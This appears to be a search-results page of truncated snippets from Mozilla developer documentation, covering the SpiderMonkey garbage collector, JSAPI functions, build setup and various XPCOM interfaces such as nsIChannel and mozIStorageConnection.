... will be marked. in addition, objects allocated during the incremental gc are marked unconditionally. at the end of the gc, any reachable object must have been newly allocated or else reachable at the beginning, since objects can never go from unreachable to reachable. the end result is that all reachable objects are marked. a simple way to visualize the invariant is that, when an incremental gc
starts, an "initial snapshot" of the heap is taken. the snapshot consists of all objects reachable from the roots via traced pointers--as if someone did a js_dumpheap() at the beginning of the incremental gc. these objects, as well as any that were allocated since the gc
started, are guaranteed to be marked. the write barrier guarantees the snapshot-at-the-beginning (satb) invariant in a simple way. i...
...hen it will be nulled out or dropped in some way. if the object is still reachable, then the pointer will be left alone. to see how weak pointers can cause trouble, consider the following situation: {{ svg{source: "http://people.mozilla.org/~wmccloskey/incremental2.svg", embedding: "iframe", height:"130"} }} in the left frame, a has a weak pointer to c. assume that an incremental gc has already
started, and a and b have been marked. c was not marked by a because weak pointers are not traced. now let's assume, between the left and right frames, that some code has read the weak pointer to c and then created a regular (strong) reference from b to c. now c is reachable, but it won't be marked because b was already fully marked. no write barrier is invoked when creating the pointer from b to c bec...
Index
wdateobjectmsec date, jsapi, jsapi reference, spidermonkey the returned jsobject is a standard javascript date. 400 js_newdependentstring jsapi reference, spidermonkey js_newdependentstring creates a new string as a substring of an existing javascript string, str. the new string contains the same characters as if it were created with the javascript method str.substr(
start, length). 401 js_newdouble jsapi reference, obsolete, spidermonkey js_newdouble allocates a copy of the number d on the javascript garbage collection heap. this function is not very useful. to convert a jsdouble to a jsval, use js_newnumbervalue instead. 402 js_newdoublevalue jsapi reference, obsolete, spidermonkey js_newdoublevalue creates a floating-poi...
...locates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string. on success, js_newstringcopyz returns a pointer to the new javascript string. on error, it returns null. 416 js_newucstring jsapi reference, spidermonkey js_newstring creates and returns a new string, using the memory
starting at buf and ending at buf + length as the character storage. js_newucstring is the unicode version of the function. 417 js_nextproperty jsapi reference, obsolete, spidermonkey on success, js_nextproperty returns true, with *idp containing the id of the next enumerable own property to visit using iterobj, or jsid_void if there is no such property left to visit. on error, it ...
...e, spidermonkey has to be built with debug information. the full process of and requisites for doing so are described here. please follow those instructions up until the point of invoking configure. 524 shell global objects javascript, needscontent, spidermonkey these are the global objects that are set up automatically by the spidermonkey js command-line interpreter when you
start the program. 525 spidermonkey build documentation build documentation, guide, spidermonkey use these instructions to build the latest spidermonkey source code. 526 rebranding spidermonkey (1.8.5) build documentation, spidermonkey after installing the build pre-requisites and downloading the spidermonkey source tarball issue the following commands at the t...
SpiderMonkey Internals
, each of which has its own, nested script. the compiler consists of: a random-logic rather than table-driven lexical scanner, a recursive-descent parser that produces an ast, and a tree-walking code generator. semantic and lexical feedback are used to disambiguate hard cases such as missing semicolons, assignable expressions ("lvalues" in c parlance), and whether / is the division symbol or the
start of a regular expression. the compiler attempts no error recovery; it bails out on the first error. the emitter does some constant folding and a few codegen optimizations; about the fanciest thing it does is to attach source notes to the script for the decompiler's benefit. the decompiler implements function.tosource(), which reconstructs a function's source code. it translates postfix bytecode i...
...uggers, jsdbgapi, but js/jsd/jsdebug.h might be a better api for debuggers. another api, jsxdrapi, provides serialization for javascript scripts. (xul fastload uses this.) just-in-time compiler spidermonkey contains a baseline compiler as first tier. a second tier jit, code-named ionmonkey was enabled in firefox 18. ionmonkey is an optimizing compiler. self-hosting of built-in functions in js
starting with firefox 17, spidermonkey has the ability to implement built-in functions in self-hosted js code. this code is compiled in a special compilation mode that gives it access to functionality that's not normally exposed to js code, but that's required for safe and specification-conformant implementation of built-in functions. all self-hosted code lives in .js files under builtin/. for details...
...ed at compile time by replacing the .msg file; or, with a little modification to the source, at run time. more information on the javascript shell. js.msg spidermonkey error messages. jsarray.*, jsbool.*, jsdate.*, jsfun.*, jsmath.*, jsnum.*, jsstr.* these file pairs implement the standard classes and (where they exist) their underlying primitive types. they have similar structure, generally
starting with class definitions and continuing with internal constructors, finalizers, and helper functions. jsobj.*, jsscope.* these two pairs declare and implement the js object system. all of the following happen here: creating objects by class and prototype, and finalizing objects; defining, looking up, getting, setting, and deleting properties; creating and destroying properties and binding...
JSNewResolveOp
success, the callback must set the *objp out parameter to null if id was not resolved; or non-null, referring to obj or one of its prototypes, if id was resolved; and return js_true. on failure, it must return js_false. this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_new_resolve is set in jsclass.flags. ...
...meter to null if id was not resolved; or non-null, referring to obj or one of its prototypes, if id was resolved; and return js_true. on failure, it must return js_false. this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_new_resolve is set in jsclass.flags. setting jsclass_new_resolve and jsclass_new_resolve_gets_
start further extends this hook by passing in the
starting object on the prototype chain via *objp. thus a resolve hook implementation may define the property id being resolved in the object in which the id was first sought, rather than in a prototype object whose class led to the resolve hook being called. when using jsclass_new_resolve_gets_
start, the resolve hook must therefore null *objp to signify "not resolved". with only jsclass_new_resolve and...
...hain via *objp. thus a resolve hook implementation may define the property id being resolved in the object in which the id was first sought, rather than in a prototype object whose class led to the resolve hook being called. when using jsclass_new_resolve_gets_
start, the resolve hook must therefore null *objp to signify "not resolved". with only jsclass_new_resolve and no jsclass_new_resolve_gets_
start, the hook can assume *objp is null on entry. this is not good practice, but enough existing hook implementations count on it that we can't break compatibility by passing the
starting object in *objp without a new jsclass flag. flags the flags argument is the logical or of zero or more of the following flags. the flags describe what kind of property access triggered the resolve callback. (the same...
JS_AddFinalizeCallback
lback cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for which to set the finalization callback. cb jsfinalizecallback pointer to the new callback function to use. data void * passed to data parameter for jsfinalizecallback. callback syntax typedef enum jsfinalizestatus { jsfinalize_group_
start, jsfinalize_group_end, jsfinalize_collection_end } jsfinalizestatus; typedef void (* jsfinalizecallback)(jsfreeop *fop, jsfinalizestatus status, bool iscompartment, void *data); name type description fop jsfreeop * a pointer to an instance of jsfreeop. status jsfinalizestatus one of the jsfinalizestatus constants, described below, indicating...
... jsfinalizestatus one of the jsfinalizestatus constants, described below, indicating the stage of finalize. iscompartment bool false if all compartments are being collected, true if a compartment is being collected. data void * data parameter specified in js_addfinalizecallback. added in spidermonkey 38 name description jsfinalize_group_
start called when preparing to sweep a group of compartments, before anything has been swept. the collector will not yield to the mutator before calling the callback with jsfinalize_group_end status. jsfinalize_group_end called when preparing to sweep a group of compartments. weak references to unmarked things have been removed and things that are not swept incrementally have been finali...
...ecallback removes the previously added callback function. obsolete since jsapi 32 js_setfinalizecallback sets a new callback function. it was replaced with js_addfinalizecallback, to allow adding multiple callback functions. ...
Setting up CDT to work on SpiderMonkey
below for that to work, though. step 2 - installing eclipse and setting up the project the following run-down is a condensed and updated version of what is explained in much more detail for the entire mozilla codebase. luckily, improvements in cdt have reduced the basic process to manageable five steps: download and extract "eclipse ide for c/c++ developers" from the eclipse downloads page.
start eclipse and create a workspace somewhere. select "new > makefile project with existing code" from the "file" menu. give the project a name that you like ("spidermonkey" has a nice ring to it) and use the "browser…" button to select your checkout's js/src folder for the "existing code location". choose the correct toolchain for your platform (i.e. macos x gcc on mac) and click "finish". at ...
...rkspace somewhere. select "new > makefile project with existing code" from the "file" menu. give the project a name that you like ("spidermonkey" has a nice ring to it) and use the "browser…" button to select your checkout's js/src folder for the "existing code location". choose the correct toolchain for your platform (i.e. macos x gcc on mac) and click "finish". at this point, the indexer
starts running and already produces a pretty decent index of much of spidermonkey. still, there are a quite a few things that cdt does not pick up yet: for everything to be indexed, cdt has to be aware of the project's build details. step 3 - index all the code to let cdt know about the build, it has to invoke make itself (or, as is done in the guide for the whole mozilla codebase on mdn, read a log ...
..., as cdt’s indexer will freak out otherwise. remove "all" from "build (incremental build)". deactivate "clean" so that your builds do not take ages. if you want to use ccache: select "c/c++ general", then "preprocessor include patterns". under the "providers" group tab, select "cdt gcc build output parser" and add the string |(ccache) to the end of the "compiler command pattern" text input.
start the build by selecting "build all" from the "project" menu.
start the indexer by either: selecting "index > rebuild" from the project's context menu located in the project explorer window, or selecting "c/c++ index > rebuild" from the "project" menu. and that is pretty much it: large parts of spidermonkey should now be indexed. unfortunately, there are also large parts that are n...
Thread Sanitizer
building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so. before using it, you mu...
... building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so. before using it, you must of course adjust the path name fo...
...d_options --disable-elf-hack # keep symbols to symbolize tsan traces export moz_debug_symbols=1 ac_add_options --enable-debug-symbols ac_add_options --disable-install-strip # settings for an opt build ac_add_options --enable-optimize="-o2 -gline-tables-only" ac_add_options --disable-debug
starting the build process now you
start the build process using the regular make -f client.mk command.
starting firefox after the build has completed, you can
start firefox from the objdir as usual. building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so. before using it, you must of course adjust the path name for llvm_root to match your setup. once you have adjusted everything, ex...
Querying Places
be the last visit date for that url. results_as_visit: this option returns one entry for each time a page was visited matching the given query. the result may contain duplicate entries for urls, each with a different date. the nodes are of type result_type_visit, and provide a session id for each visit. this session id is the same for all pages that were reached by clicking links. a new session
starts when the user types a new url or follows a bookmark (xxx link to more details about what constitutes a session). results_as_full_visit: this is an extended version of result_type_visit. the results are of type result_type_full_visit and have additional information about the visit, such as the referring visit, and how the transition happened (typed, redirect, link, etc). not yet implemented -- s...
...1, query2], 2, options); note: keyword searching doesn't work correctly across or queries. the current behavior does the normal query and then selects keywords from the first query and filters all the results. (in other words, the keywords from the first query are anded with all queries.) keywords from subsequent query objects are ignored. this is bug 320332. bookmark queries there is a quick-
start for doing simple bookmark queries in retrieving part of the bookmarks tree. the contents of bookmark folders can be retrieved by setting the "folders" member in the query object. this item is an array of folder ids from the bookmark service. typically, you will only have one folder id in this list, which will given you the contents of that folder. you can set multiple folders and the result will...
..., the system will be more efficient querying and keeping the results up-to-date since this maps to exactly one bookmark folder. // |query| and |options| are objects created in the previous section query.setparents([placesutils.bookmarks.toolbarguid], 1); let result = placesutils.history.executequery(query, options); serializing queries query and options objects can be serialized into a string
starting with "place:" using queriestoquerystring. the resulting string can be stored or bookmarked. when a "place:" uri is bookmarked, it will expand to the results of the query when it is opened by the user. the original objects can be deserialized from the string using querystringtoqueries. be careful, querystringtoqueries may not return any query objects if the string was empty. your code should h...
Using the Places history service
a reference to the referring visit, and the session id. this separation of the global page information and the visit allows us to store information about each time the page was visited instead of just the last time. using the referrer information in each visit, the browsing path can be reconstructed at any time. the "session id" allows these paths to be reconstructed more easily. when the user
starts browsing (for example, by typing in a link or following a bookmark), a new session id is created. new visits get the same session id as their referrer. this means that one "session" is comprised of going to a new page, and following a bunch of links or redirects. a session is ended when a new url is typed in or selected from bookmarks. these session ids allow the dotted lines separating related ...
...ry.hidepage: hides a page so that it does not appear in the ui. many pages are not visible in normal history lists, such as redirects and sub-frame contents.this is not implemented in navhistory. nsibrowserhistory.markpageastyped: called by the url bar when the user types in a url. this can be and is calledbefore the page is actually added to history, since the page isn't added until it actually
starts loading. the typed flag affects the url bar autocomplete. this will cause the transition type of the next visit of the url to be marked as "typed." nsinavhistoryservice.markpageasfollowedbookmark: called by the ui (implemented, but not yet called, see bug 409301) when the user selects a bookmark. this will cause the transition type of the next visit of the url to be marked as "bookmark." nsina...
...story system. observers generally stop updating ui when they are inside a batch, potentially making the operations faster. if you are just doing a few changes, it is probably better to not use a batch since incremental updates are not done. be sure to call endupdatebatch when you are done or the ui will be permanently broken. nsinavhistoryservice.endupdatebatch: ends a batch operation previously
started with beginupdatebatch. see also manipulating bookmarks using places ...
Creating a Python XPCOM component
bject is destructing" def write(self): print self.yourname def change(self, newname): self.yourname = newname then register your component; the procedure is the same for any component, but will not work if python components weren't enabled. to register the component, touch the .autoreg (a hidden file) in the bin directory, or delete xpti.dat. then, the next time mozilla
starts, it will rebuild the index of components, including any new one in the 'components' directory. it is helpful to then
start mozilla from the command line to see if new components register successfully. generating implementation templates the module xpcom.xpt is used internally to process type information, but it has a nice feature - it can spit out a template for a python implementation of any in...
...ed for this object}" # _reg_contractid_ = "the.object.name" def get_value( self ): # result: string pass def set_value( self, param0 ): # result: void - none # in: param0: string pass as you can see, the output is valid python code, with basic signatures and useful comments for each of the methods. testing it to see this work, you will have to
start firefox from the command line, since that'll be where the stuff will be printed out. external links creating xpcom components, on which this short tutorial is based. a three-part tutorial on ibm developerworks: getting to know pyxpcom - info on building pyxpcom (and maybe mozilla) to get it to work. getting
started with pyxpcom, part 2 - accessing xpcom from python. ge...
...ox from the command line, since that'll be where the stuff will be printed out. external links creating xpcom components, on which this short tutorial is based. a three-part tutorial on ibm developerworks: getting to know pyxpcom - info on building pyxpcom (and maybe mozilla) to get it to work. getting
started with pyxpcom, part 2 - accessing xpcom from python. getting
started with pyxpcom, part 3 - creating your own components. the problem with this one is that the sample code they give is slightly broken (it ends with a "retu" which shouldn't be there. i haven't tried it, but it looks like nothing is missing, so getting rid of the "retu" should make it work fine.). ...
Building the WebLock UI
mozilla or another gecko-based browser, then this third section shows you how to create the entry point in the browser for controlling the web locking. if you are planning on deploying the weblock component in some other application, you'll have to devise a different means of access (e.g., native widgetry that instantiates and controls the weblock component). client code overview before we get
started on the actual user interface, we should establish how the client code is to access the weblock component and use its interfaces to control the web locking of the browser. first of all, it's important to be able to represent the basic state of the lock as soon as it's loaded. like the secure page icon, the weblock icon that appears in the lower right corner of the browser should indicate whethe...
... contained within a parent element called <radiogroup/>. grouping radio elements together creates the toggling ui by requiring that one or another of the elements be selected, but not both. the xul that defines the radiogroup in the web lock manager dialog is this: <radiogroup> <radio label="lock"/> <radio label="unlock" selected="true"/> </radiogroup> since the weblock component always
starts up in the unlocked position, you can add the selected="true" attribute and value on the unlock radio button and reset it dynamically as the user takes action. site adding ui the next step is to create that part of the user interface that lets you add a new site to the white list. there are other, more sophisticated ways to do this; you may also want to include some ui that lets you view the wh...
... but you still have to add your new ui into the browser so it can call the component, and the mozilla overlay mechanism is the way to do this. overlays are xul files that register themselves to be dynamically inserted into the appropriate parts of the browser ui at runtime. weblockoverlay.xul the xul that defines the new icon is small: it's a little icon that cal...
Creating the Component Code
application you wish to extend to see if there are other supported ways. overview of the weblock module source as we mentioned in the previous section, components have layers. there are three main parts to every xpcom component. from the innermost and moving outward, the first object is the xpcom object. this is the object that contains the business logic, that implements functionality such as
starting a network download, implementing interfaces that listen to the download progress, or providing a new content type handler. in weblock, this is the part that brings together various gecko services and prevents users from leaving the list of acceptable domains. in a way, the factory and module layers are glue to plug the xpcom object into the larger xpcom system. one layer above the object itse...
...ce is that the return type of getclassobject does not have to be an nsifactory. instead, the nsimodule can ask for implementation details about the xpcom object. this is very useful if the caller is required to know information about the component like its threading module, whether or not it's a singleton, its implementation language, and so forth. the interface used in this case is nsiclassinfo.
starting from the outside in, onion peel view of xpcom component creation represents the sequence for constructing an xpcom object. onion peel view of xpcom component creation before we begin looking at the various parts of the component and how they'll be implemented in the source, let's look at the module in weblock.cpp to see where we're going. the source we're referring to is listed in its enti...
...rface on the nsicomponentmanager interface parameter to obtain the nsicomponentregistrar or nsiservicemanager. nsiservicemanager can be used to obtain a singleton service, which can be useful if you have to register with a service other than the nsicomponentregistrar. for example, you may want to get the service that is responsible for an event you want to be notified about. see getting called at
startup for an example of this. the second parameter in registerself is the location of the component being registered. this parameter is useful when the component needs to know where it has been installed or registered - as, for example, when other files must be stored or accessed relative to the component. this method is only called once, so you have to persist the location if you are going to use i...
BeginReading
first element of the string's internal buffer. const char_type* beginreading() const; remarks the resulting character array is not necessarily null-terminated. the length of the array is determined by the result of the length method. ...
...ulting character array is not necessarily null-terminated. the length of the array is determined by the result of the length method. ...
...ecessarily null-terminated. the length of the array is determined by the result of the length method. ...
BeginReading
ment of the string's internal buffer. const char_type* beginreading() const; remarks the resulting character array is not necessarily null-terminated. the length of the array is determined by the result of the length method. ...
...er array is not necessarily null-terminated. the length of the array is determined by the result of the length method. ...
...l-terminated. the length of the array is determined by the result of the length method. ...
IAccessibleHyperlink
ect is an image map. linked objects and anchors are implementation dependent. this interface is derived from iaccessibleaction. iaccessibleaction.nactions() is one greater than the maximum value for the indices used with the methods of this interface. furthermore, the object that implements this interface has to be connected implicitly or explicitly with an object that implements iaccessibletext.
startindex() and endindex() are indices with respect to the text exposed by iaccessibletext. this interface provides access to a single object which can have multiple actions. an example is an image map which is an image with multiple links each of which is associated with a separate non-overlapping area of the image. this interface could also be applied to other kinds of objects with multiple actions ...
...rive from iaccessibleaction. as a result it may be removed in a later version of the idl and it is suggested that implementations should not rely on the inheritance. method overview [propget] hresult anchor([in] long index, [out] variant anchor ); [propget] hresult anchortarget([in] long index, [out] variant anchortarget ); [propget] hresult endindex([out] long index ); [propget] hresult
startindex([out] long index ); [propget] hresult valid([out] boolean valid ); methods anchor() returns an object that represents the link anchor, as appropriate for the link at the specified index. [propget] hresult anchor( [in] long index, [out] variant anchor ); parameters index a 0 based index identifies the anchor when, as in the case of an image map, there is more than one link represen...
...re is nothing to return, [out] value is null. s_ok. endindex() [propget] hresult endindex( [out] long index ); parameters index the 0 based character offset at which the textual representation of the hyperlink ends. the returned value is related to the iaccessibletext interface of the object that owns this hyperlink. the character at the index is not part of the hypertext. return value s_ok.
startindex() [propget] hresult
startindex( [out] long index ); parameters index the 0 based character offset at which the textual representation of the hyperlink
starts. the returned value is related to the iaccessibletext interface of the object that owns this hyperlink. return value s_ok. valid() returns whether the target object referenced by this link is still valid. this is a volatile state t...
amIWebInstallListener
the registered amiwebinstalllistener is used to notify about new installs triggered by websites. the default implementation displays a confirmation dialog when add-ons are ready to install and uses the observer service to notify when installations are blocked. ...
...omwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, in pruint32 acount optional ); parameters awindow the window that triggered the installs. auri the uri of the site that triggered the installs. ainstalls the addoninstalls that were blocked. acount optional the number of addoninstalls. return value true if the caller should
start the installs. onwebinstalldisabled() called when installation by websites is currently disabled. void onwebinstalldisabled( in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, in pruint32 acount optional ); parameters awindow the window that triggered the installs. auri the uri of the site that triggered the installs. ainstalls ...
... ...
mozIStorageConnection
tional ); parameters acallback optional an optional callback handler to be executed when the connection is successfully closed. that object's mozistoragecompletioncallback.complete() routine will be called once the connection is closed. exceptions thrown ns_error_unexpected thrown if the method was called on a thread other than the one that opened the connection. begintransaction()
starts a new transaction deferred transaction. this is the same as calling mozistorageconnection with mozistorageconnection.transaction_deferred. void begintransaction(); parameters none. begintransactionas() this method
starts a new transaction of the given transaction type. see the sqlite documentation on transactions for more details. in javascript, managing transactions can be difficult whe...
...n on different threads, or are using a combination of asynchronous and synchronous statement execution. the best way to deal with this is to only execute your statements asynchronously using mozistorageconnection.executeasync(). this method will manage the transactions for you, so you don't have to worry about them. note: the database engine does not support nested transactions, so attempting to
start a transaction when one is already active will throw an exception. void begintransactionas( in print32 transactiontype ); parameters transactiontype one of the transaction constants (mozistorageconnection.transaction_deferred, mozistorageconnection.transaction_immediate, mozistorageconnection.transaction_exclusive) clone() clones a database connection, optionally making the new conn...
...nt to execute. indexexists() this method determines whether or not the given index exists. boolean indexexists( in autf8string aindexname ); parameters aindexname the index to check. return value true if the index exists, false otherwise. preload() obsolete since gecko 1.9 (firefox 3) this is used to preload the database cache. it loads pages from the
start of the database file until the memory cache (specified by "pragma cache_size=") is full or the entire file is read. the cache must be active on the database for this to work. this means that you must have a transaction open on the connection, or have a transaction open on another connection that shares the same pager cache. this cached data will go away when the transaction is closed. this prel...
nsIAutoCompleteSearch
toolkit/components/autocomplete/nsiautocompletesearch.idlscriptable this interface is implemented by search providers to
start and stop autocomplete. inherits from: nsisupports last changed in gecko 1.7 users call
startsearch() and pass in an nsiautocompleteobserver when the search
starts. results can be sent to the listener either synchronously or asynchronously, depending on the implementation. ...
.../nsiautocompletesearch.idlscriptable this interface is implemented by search providers to
start and stop autocomplete. inherits from: nsisupports last changed in gecko 1.7 users call
startsearch() and pass in an nsiautocompleteobserver when the search
starts. results can be sent to the listener either synchronously or asynchronously, depending on the implementation. method overview void
startsearch(in astring searchstring, in astring searchparam, in nsiautocompleteresult previousresult, in nsiautocompleteobserver listener); void stopsearch(); methods
startsearch() search for a given string and notify a listener (either synchronously or asynchronously) of the result. ...
...searchparam an extra parameter. can be empty if not needed. ...
nsIBrowserSearchService
tservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. this is not an issue if your code is executed in reaction to a user interaction, as initialization is complete by then, but this is an issue if your code is executed during
startup. if you need to write code that is executed during
startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetail...
... a nsisearchinstallcallback that will be notified when the addition is complete, or if the addition fails. it will not be called if addengine throws an exception. exceptions thrown ns_error_failure if the type is invalid, or if the description file cannot be successfully loaded. addenginewithdetails() adds a new search engine, without asking the user for confirmation and without
starting to use it right away. void addenginewithdetails( in astring name, in astring iconurl, in astring alias, in astring description, in astring method, in astring url ); parameters name the search engine's name. must be unique. must not be null. iconurl optional: a url string pointing to the icon to be used to represent the engine. alias optio...
... the hidden installed nsisearchengines. init() initialize the service, or if the service is already initialized, do nothing. this method was introduced in firefox 16. attempting to call any method of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. if your code requires nsibrowsersearchservice and is executed during
startup, you should make sure that this code is executed from the callback to init(). void init( [optional] in nsibrowsersearchinitobserver observer ); parameters observer if specified, a callback called once initialization is complete, or immediately, if the service has already been initialized. in javascript, this observer can be a regular function. moveengine() moves a visible se...
nsICachingChannel
fect its behavior with respect to how it uses the cache service. method overview boolean isfromcache(); obsolete since gecko 2.0 attributes attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file. this may fail if the disk cache is not present. the value of this attribute is usually only settable during the processing of a channel's on
startrequest. the default value of this attribute depends on the particular implementation of nsicachingchannel. cachefile nsifile get the "file" where the cached data can be found. this is valid for as long as a reference to the cache token is held. this may return an error if cacheasfile is false. read only. cacheforofflineuse boolean specifies whether or not the data should be placed in the offl...
... the cache to satisfy a call to asyncopen. if this attribute is set to true, then the document will not be loaded from the cache. a stream listener can check isfromcache() to determine if the asyncopen will actually result in data being streamed. if this flag has been set, and the request can be satisfied via the cache, then the ondataavailable events will be skipped. the listener will only see on
startrequest followed by onstoprequest. methods isfromcache() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this method finds out whether or not this channel's data is being loaded from the cache. boolean isfromcache(); parameters none. return value returns true if this channel's data is being loaded from the cache, otherwise returns false. this va...
...see also nsicache ...
nsIChannel
wrong file extension, wrong mime type, wrong document type stored on a server and so on.), and the caller most likely wants to verify with the actual data. setting contenttype before the channel has been opened provides a hint to the channel as to what the mime type is. the channel may ignore this hint in deciding on the actual mime type that it will report. setting contenttype after on
startrequest has been fired or after open() is called will override the type determined by the channel. setting contenttype between the time that asyncopen() is called and the time when on
startrequest is fired has undefined behavior at this time. the value of the contenttype attribute is a lowercase string. a value assigned to this attribute will be parsed and normalized as follows: ...
... the stream listener this channel will be notifying was initially passed to the asyncopen() method of some other channel this channel's uri is a better identifier of the resource being accessed than this channel's originaluri. this flag can be set, for example, for redirects or for cases when a single channel has multiple parts to it (and thus can follow onstoprequest with another on
startrequest/onstoprequest pair, each pair for a different request). load_initial_document_uri 19 set (for example by the docshell) to indicate whether or not the channel corresponds to an initial document uri load (for example link click). load_targeted 20 set (for example by the uriloader) to indicate whether or not the end consumer for this load has been determined. ...
...ri classifier service to check the uri when opening the channel. methods asyncopen() asynchronously open this channel. data is fed to the specified stream listener as it becomes available. the stream listener's methods are called on the thread that calls asyncopen and are not called until after asyncopen returns. if asyncopen returns successfully, the channel promises to call at least on
startrequest and onstoprequest. if the nsirequest object passed to the stream listener's methods is not this channel, an appropriate onchannelredirect notification needs to be sent to the notification callbacks before on
startrequest is called. once on
startrequest is called, all following method calls on alistener will get the request that was passed to on
startrequest. if the channel's and loadgroup's...
nsIClipboardDragDropHooks
widget/public/nsiclipboarddragdrophooks.idlscriptable interfaces for overriding the built-in drag, drop, copy, and paste implementations in the content area and editors. use this to do things such as prevent a drag from
starting, adding or removing data and flavors, or preventing the drop. inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be adde...
... are multiple hooks set for a window, any of them has an opportunity to cancel the action so no further processing will occur. if any errors occur (without setting the boolean result) the default action will occur. allowdrop() will be called many times during drag so ensure that it is efficient. method overview boolean allowdrop(in nsidomevent event, in nsidragsession session); boolean allow
startdrag(in nsidomevent event); boolean oncopyordrag(in nsidomevent aevent, in nsitransferable trans); boolean onpasteordrop(in nsidomevent event, in nsitransferable trans); methods allowdrop() tells gecko whether a drop is allowed on this content area. boolean allowdrop( in nsidomevent event, in nsidragsession session ); parameters event the dom event (drag gesture). session the drag ses...
...on ); parameters event the dom event (drag gesture). session the drag session from which client can get the flavors present or the actual data. return value true indicates to the operating system that if a drop does happen on this browser, it will be accepted. otherwise, false to indicates to the operating system that drop is not allowed. on win32, this will change the cursor to "reject". allow
startdrag() prevents the drag from
starting. boolean allow
startdrag( in nsidomevent event ); parameters event the dom event (drag gesture). return value true if the drag can proceed. otherwise, false to show the drag is canceled (does not go to operating system). oncopyordrag() alters the flavors or data presented to the os. used for drag and copy actions. because this can be called many times, it...
nsIDOMHTMLTimeRanges
the nsidomhtmltimeranges interface represents a set of time ranges in media; it's primarily used by the nsidomhtmlmediaelement interface, and implements the dom timeranges interface. each time range represented by an nsidomhtmltimeranges object has an index number; you call the
start() and end() methods to obtain the
start and end times of each range, specifying the index number of the range to look up. dom/interfaces/html/nsidomhtmltimeranges.idlscriptable please add a summary to this article. ...
...read only. methods end() returns the time offset to the end of the specified time range. ...
... end() returns the time offset to the end of the specified time range. float end( in unsigned long index ); parameters index the index to the time range whose end time is to be returned. return value the time at which the specified range ends, in seconds measured from the beginning of the timeline represented by the object. exceptions thrown index_size_err the specified index is not valid.
start() returns the time offset to the
start of the specified time range. float
start( in unsigned long index ); parameters index the index to the time range whose
start time is to be returned. return value the time at which the specified range
starts, in seconds measured from the beginning of the timeline represented by the object. exceptions thrown index_size_err the specified index is not vali...
nsIGeolocationProvider
idlscriptable notify the geolocation service that a new geolocation has been discovered. 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcallback interface. after
startup() is called, any geo location change should call callback.update(). the nsigeolocationprovider interface provides information about the current users location to interested parties via nsigeolocationupdate. after the provider has been initialized, any changes to location should call callback.onrequest(). you may find the wifi access point monitoring service useful if you wish to implement suppo...
... initialized, any changes to location should call callback.onrequest(). you may find the wifi access point monitoring service useful if you wish to implement support for wifi-based location services. see dom/src/geolocation/networkgeolocationprovider.js for an example of how to write a geolocation provider. method overview boolean isready(); obsolete since gecko 1.9.2 void shutdown(); void
startup(); void watch(in nsigeolocationupdate callback); methods isready() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) reports whether or not the device is ready and has a position. boolean isready(); parameters none. return value true if the device is ready and has a position available to return; otherwise false. shutdown() shuts down the loc...
...ck); methods isready() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) reports whether or not the device is ready and has a position. boolean isready(); parameters none. return value true if the device is ready and has a position available to return; otherwise false. shutdown() shuts down the location device. void shutdown(); parameters none.
startup()
start up the provider. this is called before any other method and may be called multiple times. void
startup(); parameters none. watch() attaches a callback listener to be notified when a location change is observed. void watch( in nsigeolocationupdate callback ); parameters callback an nsigeolocationupdate to be notified when position changes. your location provider should call this rou...
nsIHTMLEditor
in nsicontentfilter infilter ); parameters infilter function which callers want called during insertion. align() document me! void align( in astring aalign ); parameters aalign breakisvisible() checks whether a br node is visible to the user. boolean breakisvisible( in nsidomnode anode ); parameters anode return value candrag() decides if a drag should be
started (for example, based on the current selection and mousepoint). boolean candrag( in nsidomevent aevent ); parameters aevent return value checkselectionstateforanonymousbuttons() checks if the anonymous nodes created by the html editor have to be refreshed or hidden depending on a possible new state of the selection. void checkselectionstateforanonymousbuttons( in nsiselection ...
...d alignment (left/center/right) getbackgroundcolorstate() getfontcolorstate() returns what font face is in the selection. astring getbackgroundcolorstate( out boolean amixed ); parameters amixed true if there is more than one font color. return value color string. "" is returned for none. getelementorparentbytagname() return the input node or a parent matching the given atagname,
starting the search at the supplied node. an example of use is for testing if a node is in a table cell given a selection anchor node. nsidomelement getelementorparentbytagname( in astring atagname, in nsidomnode anode ); parameters atagname the html tagname special input values: use "href" to get a link node (an "a" tag with the "href" attribute set) use "list" to get an ol, ul, or dl list ...
...a table cell given a selection anchor node. nsidomelement getelementorparentbytagname( in astring atagname, in nsidomnode anode ); parameters atagname the html tagname special input values: use "href" to get a link node (an "a" tag with the "href" attribute set) use "list" to get an ol, ul, or dl list node use "td" to get either a td or th cell node. anode the node in the document to
start the search. if it is null, the anchor node of the current selection is used. return value ns_editor_element_not_found if an element is not found (passes ns_succeeded macro) getfontcolorstate() returns what font face is in the selection. astring getfontcolorstate( out boolean amixed ); parameters amixed true if there is more than one font color. return value color string. "" is re...
nsILivemarkService
